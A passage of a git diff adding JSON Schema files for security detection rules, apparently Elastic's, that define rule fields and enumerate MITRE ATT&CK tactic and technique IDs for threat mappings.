"query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "saved_id": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "saved_query", + "enum": [ + "saved_query" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "saved_id" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.9/7.9.base.json b/etc/api_schemas/7.9/7.9.base.json new file mode 100644 index 000000000..1cf3e934c --- /dev/null +++ b/etc/api_schemas/7.9/7.9.base.json @@ -0,0 +1,633 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + } + }, + "required": [ + "rule_id", + "description", + "name", + "risk_score", + "severity", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.9/7.9.machine_learning.json b/etc/api_schemas/7.9/7.9.machine_learning.json new file mode 100644 index 000000000..e7b7c8d43 --- /dev/null +++ b/etc/api_schemas/7.9/7.9.machine_learning.json @@ -0,0 +1,650 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "anomaly_threshold": { + "minimum": 0, + "type": "integer" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "machine_learning_job_id": { + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "machine_learning", + "enum": [ + "machine_learning" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "anomaly_threshold", + "machine_learning_job_id", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.9/7.9.query.json b/etc/api_schemas/7.9/7.9.query.json new file mode 100644 index 000000000..0cbf8532a --- /dev/null +++ b/etc/api_schemas/7.9/7.9.query.json @@ -0,0 +1,660 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "default": "kuery", + "enum": [ + "kuery", + "lucene" + ], + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": 